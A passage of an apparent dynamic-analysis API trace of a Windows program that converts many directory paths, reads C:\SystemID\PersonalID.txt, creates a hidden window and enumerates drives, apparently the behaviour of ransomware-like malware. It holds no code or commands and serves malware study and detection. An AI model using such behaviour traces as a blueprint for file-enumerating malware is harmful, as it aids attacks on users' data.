MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e900, cbMultiByte=-1, lpWideCharStr=0x399d4b0, cchWideChar=1036 | out: lpWideCharStr="D:\\PerfLogs\\") returned 13 [0115.209] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39383f8 [0115.209] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x399d4b0 | out: hHeap=0xd10000) returned 1 [0115.210] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ea70 [0115.210] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.210] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.210] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.210] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.210] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x82e) returned 0x399fd88 [0115.210] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3947360, cbMultiByte=-1, lpWideCharStr=0x399fd88, cchWideChar=1047 | out: lpWideCharStr="D:\\ProgramData\\Desktop\\") returned 24 [0115.210] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39a37a0 [0115.210] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x399fd88 | out: hHeap=0xd10000) returned 1 [0115.210] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.210] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ea70 [0115.210] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.210] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.210] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.210] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947360 [0115.210] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x832) returned 0x39a0df8 [0115.210] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3947360, cbMultiByte=-1, lpWideCharStr=0x39a0df8, cchWideChar=1049 | out: lpWideCharStr="D:\\ProgramData\\Microsoft\\") returned 26 [0115.210] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39a0df8 | out: hHeap=0xd10000) returned 1 [0115.210] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.210] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3964848 | out: hHeap=0xd10000) returned 1 [0115.210] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.210] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.211] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3947360, cbMultiByte=-1, lpWideCharStr=0x39a3fd8, cchWideChar=1053 | out: lpWideCharStr="D:\\ProgramData\\Package Cache\\") returned 30 [0115.211] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39a3fd8 | out: hHeap=0xd10000) returned 1 [0115.211] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.211] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.211] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.211] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3947360, cbMultiByte=-1, lpWideCharStr=0x3938c80, cchWideChar=1040 | out: lpWideCharStr="D:\\Users\\Public\\") returned 17 [0115.211] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3938c80 | out: hHeap=0xd10000) returned 1 [0115.211] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.211] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.211] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.211] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3947360, cbMultiByte=-1, lpWideCharStr=0x3938c80, cchWideChar=1040 | out: lpWideCharStr="D:\\$Recycle.Bin\\") returned 17 [0115.211] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3938c80 | out: hHeap=0xd10000) returned 1 [0115.211] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.211] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.211] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.211] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3947360, cbMultiByte=-1, lpWideCharStr=0x3938c80, cchWideChar=1040 | out: lpWideCharStr="D:\\$WINDOWS.~BT\\") returned 17 [0115.211] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3938c80 | out: hHeap=0xd10000) returned 1 [0115.211] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.211] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.211] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.211] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e900, cbMultiByte=-1, lpWideCharStr=0x39541c8, cchWideChar=1032 | out: lpWideCharStr="D:\\dell\\") returned 9 [0115.211] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39541c8 | out: hHeap=0xd10000) returned 1 [0115.211] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.211] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.211] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e900, cbMultiByte=-1, lpWideCharStr=0x399d4b0, cchWideChar=1033 | out: lpWideCharStr="D:\\Intel\\") returned 10 [0115.212] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x399d4b0 | out: hHeap=0xd10000) returned 1 [0115.212] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.212] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.212] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e900, cbMultiByte=-1, lpWideCharStr=0x399d4b0, cchWideChar=1036 | out: lpWideCharStr="D:\\MSOCache\\") returned 13 [0115.212] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x399d4b0 | out: hHeap=0xd10000) returned 1 [0115.212] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.212] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.212] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3947360, cbMultiByte=-1, lpWideCharStr=0x39a5068, cchWideChar=1041 | out: lpWideCharStr="D:\\Program Files\\") returned 18 [0115.212] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39a5068 | out: hHeap=0xd10000) returned 1 [0115.212] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.212] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.212] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.212] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3947360, cbMultiByte=-1, lpWideCharStr=0x39a60d0, cchWideChar=1047 | out: lpWideCharStr="D:\\Program Files (x86)\\") returned 24 [0115.212] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39a60d0 | out: hHeap=0xd10000) returned 1 [0115.212] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.212] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.212] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.212] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e900, cbMultiByte=-1, lpWideCharStr=0x399d4b0, cchWideChar=1033 | out: lpWideCharStr="D:\\Games\\") returned 10 [0115.212] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x399d4b0 | out: hHeap=0xd10000) returned 1 [0115.212] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947360 | out: hHeap=0xd10000) returned 1 [0115.212] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ea70 | out: hHeap=0xd10000) returned 1 [0115.212] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x398ea70, cbMultiByte=-1, lpWideCharStr=0x39a7140, cchWideChar=1060 | out: lpWideCharStr="E:\\Users\\%username%\\AppData\\Roaming\\") returned 37 [0115.212] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39a7140 | out: hHeap=0xd10000) returned 1 [0115.214] CreateFileW (lpFileName="C:\\SystemID\\PersonalID.txt" (normalized: "c:\\systemid\\personalid.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18e668, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5b0 [0115.216] GetFileType (hFile=0x5b0) returned 0x1 [0115.216] ReadFile (in: hFile=0x5b0, lpBuffer=0x3956c70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18e6d0, lpOverlapped=0x0 | out: lpBuffer=0x3956c70*, lpNumberOfBytesRead=0x18e6d0*=0x2a, lpOverlapped=0x0) returned 1 [0115.217] GetLastError () returned 0x0 [0115.217] SetLastError (dwErrCode=0x0) [0115.217] GetLastError () returned 0x0 [0115.217] SetLastError (dwErrCode=0x0) [0115.217] GetLastError () returned 0x0 [0115.217] SetLastError (dwErrCode=0x0) [0115.217] GetLastError () returned 0x0 [0115.217] SetLastError (dwErrCode=0x0) [0115.217] GetLastError () returned 0x0 [0115.218] SetLastError (dwErrCode=0x0) [0115.218] GetLastError () returned 0x0 [0115.218] SetLastError (dwErrCode=0x0) [0115.218] GetLastError () returned 0x0 [0115.218] SetLastError (dwErrCode=0x0) [0115.218] GetLastError () returned 0x0 [0115.218] SetLastError (dwErrCode=0x0) [0115.218] GetLastError () returned 0x0 [0115.218] SetLastError (dwErrCode=0x0) [0115.218] GetLastError () returned 0x0 [0115.218] SetLastError (dwErrCode=0x0) [0115.218] GetLastError () returned 0x0 [0115.218] SetLastError (dwErrCode=0x0) [0115.218] GetLastError () returned 0x0 [0115.218] SetLastError (dwErrCode=0x0) [0115.218] GetLastError () returned 0x0 [0115.218] SetLastError (dwErrCode=0x0) [0115.218] GetLastError () returned 0x0 [0115.218] SetLastError (dwErrCode=0x0) [0115.218] GetLastError () returned 0x0 [0115.218] SetLastError (dwErrCode=0x0) [0115.218] GetLastError () returned 0x0 [0115.218] SetLastError (dwErrCode=0x0) [0115.218] GetLastError () returned 0x0 [0115.218] SetLastError (dwErrCode=0x0) [0115.218] GetLastError () returned 0x0 [0115.218] SetLastError (dwErrCode=0x0) [0115.218] GetLastError () returned 0x0 [0115.219] SetLastError (dwErrCode=0x0) [0115.219] GetLastError () returned 0x0 [0115.219] SetLastError (dwErrCode=0x0) [0115.219] GetLastError () returned 0x0 [0115.219] SetLastError (dwErrCode=0x0) [0115.219] GetLastError () returned 0x0 [0115.219] SetLastError (dwErrCode=0x0) [0115.219] GetLastError () returned 0x0 [0115.219] SetLastError (dwErrCode=0x0) [0115.219] GetLastError () returned 0x0 [0115.219] SetLastError (dwErrCode=0x0) [0115.219] GetLastError () returned 0x0 [0115.219] SetLastError (dwErrCode=0x0) [0115.219] GetLastError () returned 0x0 [0115.219] SetLastError (dwErrCode=0x0) [0115.219] GetLastError () returned 0x0 [0115.219] SetLastError (dwErrCode=0x0) [0115.219] GetLastError () returned 0x0 [0115.219] SetLastError (dwErrCode=0x0) [0115.219] GetLastError () returned 0x0 [0115.219] SetLastError (dwErrCode=0x0) [0115.219] GetLastError () returned 0x0 [0115.219] SetLastError (dwErrCode=0x0) [0115.219] GetLastError () returned 0x0 [0115.219] SetLastError (dwErrCode=0x0) [0115.219] GetLastError () returned 0x0 [0115.219] SetLastError (dwErrCode=0x0) [0115.219] GetLastError () returned 0x0 [0115.219] SetLastError (dwErrCode=0x0) [0115.219] GetLastError () returned 0x0 [0115.220] SetLastError (dwErrCode=0x0) [0115.220] GetLastError () returned 0x0 [0115.220] SetLastError (dwErrCode=0x0) [0115.220] GetLastError () returned 0x0 [0115.220] SetLastError (dwErrCode=0x0) [0115.220] GetLastError () returned 0x0 [0115.220] SetLastError (dwErrCode=0x0) [0115.220] GetLastError () returned 0x0 [0115.220] SetLastError (dwErrCode=0x0) [0115.220] GetLastError () returned 0x0 [0115.220] SetLastError (dwErrCode=0x0) [0115.220] GetLastError () returned 0x0 [0115.220] SetLastError (dwErrCode=0x0) [0115.220] GetLastError () returned 0x0 [0115.220] SetLastError (dwErrCode=0x0) [0115.220] GetLastError () returned 0x0 [0115.220] SetLastError (dwErrCode=0x0) [0115.220] GetLastError () returned 0x0 [0115.220] SetLastError (dwErrCode=0x0) [0115.220] GetLastError () returned 0x0 [0115.220] SetLastError (dwErrCode=0x0) [0115.220] GetLastError () returned 0x0 [0115.220] SetLastError (dwErrCode=0x0) [0115.220] GetLastError () returned 0x0 [0115.220] SetLastError (dwErrCode=0x0) [0115.220] GetLastError () returned 0x0 [0115.220] SetLastError (dwErrCode=0x0) [0115.220] GetLastError () returned 0x0 [0115.220] SetLastError (dwErrCode=0x0) [0115.221] GetLastError () returned 0x0 [0115.221] SetLastError (dwErrCode=0x0) [0115.221] GetLastError () returned 0x0 [0115.221] SetLastError (dwErrCode=0x0) [0115.221] GetLastError () returned 0x0 [0115.221] SetLastError (dwErrCode=0x0) [0115.221] GetLastError () returned 0x0 [0115.221] SetLastError (dwErrCode=0x0) [0115.221] GetLastError () returned 0x0 [0115.221] SetLastError (dwErrCode=0x0) [0115.221] GetLastError () returned 0x0 [0115.221] SetLastError (dwErrCode=0x0) [0115.221] GetLastError () returned 0x0 [0115.221] SetLastError (dwErrCode=0x0) [0115.221] GetLastError () returned 0x0 [0115.221] SetLastError (dwErrCode=0x0) [0115.221] GetLastError () returned 0x0 [0115.221] SetLastError (dwErrCode=0x0) [0115.221] GetLastError () returned 0x0 [0115.221] SetLastError (dwErrCode=0x0) [0115.221] GetLastError () returned 0x0 [0115.221] SetLastError (dwErrCode=0x0) [0115.221] GetLastError () returned 0x0 [0115.221] SetLastError (dwErrCode=0x0) [0115.221] GetLastError () returned 0x0 [0115.221] SetLastError (dwErrCode=0x0) [0115.221] GetLastError () returned 0x0 [0115.221] SetLastError (dwErrCode=0x0) [0115.221] GetLastError () returned 0x0 [0115.222] SetLastError (dwErrCode=0x0) [0115.222] GetLastError () returned 0x0 [0115.222] SetLastError (dwErrCode=0x0) [0115.222] GetLastError () returned 0x0 [0115.222] SetLastError (dwErrCode=0x0) [0115.222] GetLastError () returned 0x0 [0115.222] SetLastError (dwErrCode=0x0) [0115.222] GetLastError () returned 0x0 [0115.222] SetLastError (dwErrCode=0x0) [0115.222] GetLastError () returned 0x0 [0115.222] SetLastError (dwErrCode=0x0) [0115.222] GetLastError () returned 0x0 [0115.222] SetLastError (dwErrCode=0x0) [0115.222] GetLastError () returned 0x0 [0115.222] SetLastError (dwErrCode=0x0) [0115.222] GetLastError () returned 0x0 [0115.222] SetLastError (dwErrCode=0x0) [0115.222] GetLastError () returned 0x0 [0115.222] SetLastError (dwErrCode=0x0) [0115.222] GetLastError () returned 0x0 [0115.222] SetLastError (dwErrCode=0x0) [0115.222] GetLastError () returned 0x0 [0115.222] SetLastError (dwErrCode=0x0) [0115.222] GetLastError () returned 0x0 [0115.222] SetLastError (dwErrCode=0x0) [0115.222] GetLastError () returned 0x0 [0115.222] SetLastError (dwErrCode=0x0) [0115.222] GetLastError () returned 0x0 [0115.223] SetLastError (dwErrCode=0x0) [0115.223] GetLastError () returned 0x0 [0115.223] SetLastError (dwErrCode=0x0) [0115.223] GetLastError () returned 0x0 [0115.223] SetLastError (dwErrCode=0x0) [0115.223] GetLastError () returned 0x0 [0115.223] ReadFile (in: hFile=0x5b0, lpBuffer=0x3956c70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18e6d0, lpOverlapped=0x0 | out: lpBuffer=0x3956c70*, lpNumberOfBytesRead=0x18e6d0*=0x0, lpOverlapped=0x0) returned 1 [0115.223] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0115.223] RegisterClassExW (param_1=0x18e8e0) returned 0xc129 [0115.224] CreateWindowExW (dwExStyle=0x0, lpClassName="LPCWSTRszWindowClass", lpWindowName="LPCWSTRszTitle", dwStyle=0xcf0000, X=-2147483648, Y=0, nWidth=-2147483648, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x30152 [0115.235] NtdllDefWindowProc_W () returned 0x0 [0115.235] NtdllDefWindowProc_W () returned 0x1 [0115.237] NtdllDefWindowProc_W () returned 0x0 [0115.239] NtdllDefWindowProc_W () returned 0x0 [0115.239] ShowWindow (hWnd=0x30152, nCmdShow=0) returned 0 [0115.239] UpdateWindow (hWnd=0x30152) returned 1 [0115.239] GetLogicalDrives () returned 0x4 [0115.240] SetErrorMode (uMode=0x1) returned 0x0 [0115.240] PathFileExistsA (pszPath="C:\\") returned 1 [0115.240] SetErrorMode (uMode=0x0) returned 0x1 [0115.240] GetDriveTypeA (lpRootPathName="C:\\") returned 0x3 [0115.240] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x806) returned 0x399d4b0 [0115.240] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e898, cbMultiByte=-1, lpWideCharStr=0x399d4b0, cchWideChar=1027 | out: lpWideCharStr="C:\\") returned 4 [0115.240] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x3992fe8 [0115.240] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x399d4b0 | out: hHeap=0xd10000) returned 1 [0115.240] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x18) returned 0xdc6410 [0115.240] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3992fe8 | out: hHeap=0xd10000) returned 1 [0115.240] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdc6410 | out: hHeap=0xd10000) returned 1 [0115.240] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x18) returned 0xdc6410 [0115.240] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x10) returned 0x396a588 [0115.240] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x110) returned 0x3943d68 [0115.240] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x399d4b0 [0115.240] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39b4570 [0115.240] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x10e0) returned 0x3956c70 [0115.240] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb060 [0115.240] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x3992fe8 [0115.240] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x660) returned 0x3964848 [0115.240] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39b4df8 [0115.241] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39b5680 [0115.241] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39b5f08 [0115.241] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39b6790 [0115.241] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39b7018 [0115.241] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39bb450 [0115.241] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39b78a0 [0115.241] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39b8128 [0115.241] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39bd5a8 [0115.241] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x3957d58 [0115.241] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39585c0 [0115.241] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39b89b0 [0115.241] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39b9238 [0115.241] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39bddf0 [0115.241] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39be638 [0115.241] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39b9ac0 [0115.241] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39ba348 [0115.241] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39bee98 [0115.242] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39bf720 [0115.242] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39bffa8 [0115.242] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39c0830 [0115.242] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39c10b8 [0115.242] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39c1940 [0115.242] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39c21c8 [0115.242] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39c2a50 [0115.242] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39cee80 [0115.242] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39cf6e8 [0115.242] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39c32d8 [0115.242] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39c3b60 [0115.242] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39c43e8 [0115.242] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39cff50 [0115.243] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39d0798 [0115.243] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39c4c70 [0115.243] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39c54f8 [0115.243] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39c5d80 [0115.243] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39c6608 [0115.243] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39c6e90 [0115.243] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39c7718 [0115.243] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39c7fa0 [0115.243] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39c8828 [0115.243] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39c90b0 [0115.243] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39d0fe8 [0115.243] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39d1850 [0115.243] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39c9938 [0115.243] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39ca1c0 [0115.243] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39caa48 [0115.243] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39d20b8 [0115.243] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39cb2d0 [0115.243] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39cbb58 [0115.244] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39cc3e0 [0115.244] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39ccc68 [0115.244] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39cd4f0 [0115.244] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39cdd78 [0115.244] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39d2918 [0115.244] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39d31a0 [0115.244] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39d3a28 [0115.244] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39d42b0 [0115.244] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39e2900 [0115.245] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39e3168 [0115.245] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39d4b38 [0115.245] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39d53c0 [0115.245] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39d5c48 [0115.245] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39d64d0 [0115.245] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39d6d58 [0115.245] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39d75e0 [0115.245] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39d7e68 [0115.245] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39d86f0 [0115.245] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39d8f78 [0115.245] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc0) returned 0x392e040 [0115.245] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39d9800 [0115.245] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x39a5068 [0115.245] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x39a60d0 [0115.245] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x39e39d0 [0115.245] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x39e41e8 [0115.245] RtlAllocateHeap 